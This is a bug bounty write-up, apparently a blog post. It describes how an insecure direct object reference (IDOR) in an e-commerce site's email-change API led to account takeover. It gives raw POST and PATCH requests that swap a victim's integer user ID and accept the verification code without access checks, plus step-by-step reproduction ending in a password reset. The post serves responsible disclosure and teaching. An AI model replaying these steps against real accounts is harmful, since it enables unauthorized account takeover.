Idor that resulted to Account takeover

How we got there

So i was looking at one private programs from intigriti, barely scraping to find a low [my heart wasn't into it]. I had previously found a Critical bug in this program, So i believed that i could find another critical on the same basis.

I went to the scope and picked the main domain www.xboy.me, it was an ecormerce site, on clicking account www.xboy.me/account i got redirected to myaccount.xboy.me then to login.xboy.me which handled login/signup/reset-password and passed the proceeding JWTs to the other subdomains and apis.

While i was working on the site, i was using the prod enviroment, as i had created an account months back [this comes in handy later]. I tested some functionalities but had 0 leads because the web app used long form Ids [hard to guess to prove impact], i then went to the account section and change email and requested an email on 1 of my newer accounts and got a request like below.

POST /email/{userId:829geg9y29y9ugw2t7w2} HTTP/1.1
Host: accounts.api.xboy.me
User-Agent: Intigriti-g30rgyth3d4rk-Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Referer: https://myaccount.xboy.me
Authorization: Bearer <JWT>
Content-Type: application/json
Content-Length: 63

{"email":"test+1@xboy.me"}

Now i tested again using the older account

POST /email/{userId:20001256} HTTP/1.1
Host: accounts.api.xboy.me
User-Agent: Intigriti-g30rgyth3d4rk-Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Referer: https://myaccount.xboy.me
Authorization: Bearer <JWT>
Content-Type: application/json
Content-Length: 63

{"email":"test@xboy.me"}

I thought, huh thats weird. one Id is unique while the other was an Interger Id. So i tested my new account using the old Id and successfully changed the email. But heres the issue, the web app fires two emails, one warning the user [victim] that they change the email to [changed email]. The other is sent to new email [Attacker Controlled], just the kind of thing you need to get that ATO. Clicked on the link and got redirected to the login page. Wait, so they require a user to confirm the change via login [JWT token]. So here i had two scenarios, a low bug because the email sent to attacker leaked some user information, or a one click ATO by sending link to victim, But then again we don't know the users email address. I was about to report the low bug till i realized what i was doing and decided to test further.

After clicking the link this time i logged in and the below request got fired.

PATCH /email/{userId}/accept/{verificationCode} HTTP/1.1
Host: accounts.api.xboy.me
User-Agent: Intigriti-g30rgyth3d4rk-Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Referer: https://myaccount.xboy.me
Authorization: Bearer <JWT>
Content-Type: application/json
Content-Length: 63

So i thought if they had no ACL on userId they might not have on verificationCode and i was right.

The attack was as below

User A creates an account [say id (20001256)] and email [victim@xboy.me] || attacker creates an account too with [attacker@xboy.me] => Attacker tries to change email by going to [https://myaccount.xboy.me/settings/email] to [say attacker2@intigriti.me] which trigger a post request to [https://accounts.api.xboy.me/email/{userId:20001256}] [note attacker swapped id to victims one] => Email confirmation is triggered and sent to new email [attacker2@intigriti.me] and a warning/alert to [victim@xboy.me] => Attacker now goes to his email and copies the codee [https://myaccount.xboy.me/emailConfirmation?token=codeeee] => attacker sends the patch request to [https://accounts.api.xboy.me/email/{userId:20001256}]/accept/[codeeee]/] is triggered completing the flow and a successful account email change

Reproduction Steps

I also have a video PoC in stream like; check it out at https://www.youtube.com/watch?v=AX-hH8pfAKs if you want

The attack goes as follows;

  1. Attacker goes to https://myaccount.xboy.me/ and logs in to get jwt for next steps;
  2. send below request to trigger the email change
POST /email/20001256 HTTP/1.1
Host: accounts.api.xboy.me
User-Agent: Intigriti-g30rgyth3d4rk-Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Referer: https://myaccount.xboy.me
Authorization: Bearer <JWT>
Content-Type: application/json
Content-Length: 63

{"email":"attacker@xboy.me"}
  1. after sending above request, an email will be sent to your inbox and another one to me [attacker@xboy.me]
  2. now copy the code from the email i.e https://myaccount.xboy.me/emailConfirmation?token=codeeee
  3. send below post request
PATCH /email/{userId}/accept/{verificationCode} HTTP/1.1
Host: accounts.api.xboy.me
User-Agent: Intigriti-g30rgyth3d4rk-Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Referer: https://myaccount.xboy.me
Authorization: Bearer <JWT>
Content-Type: application/json
Content-Length: 63
  1. next go to password reset https://login.xboy.me/passReset? and enter your email [the one you changed to]
  2. go to your email click on the reset password and you are in after you change the password

Report

I quickly made a detailed report with as much explanation as i could and submitted, After some back and forth with the team, report got triaged and i got awarded a bonus of €€€€.

basic

Contacts

@github @twitter @LinkedIn @Intigriti @hackerone_old

🔥🔥: 0

Previous Post

JWT2AWS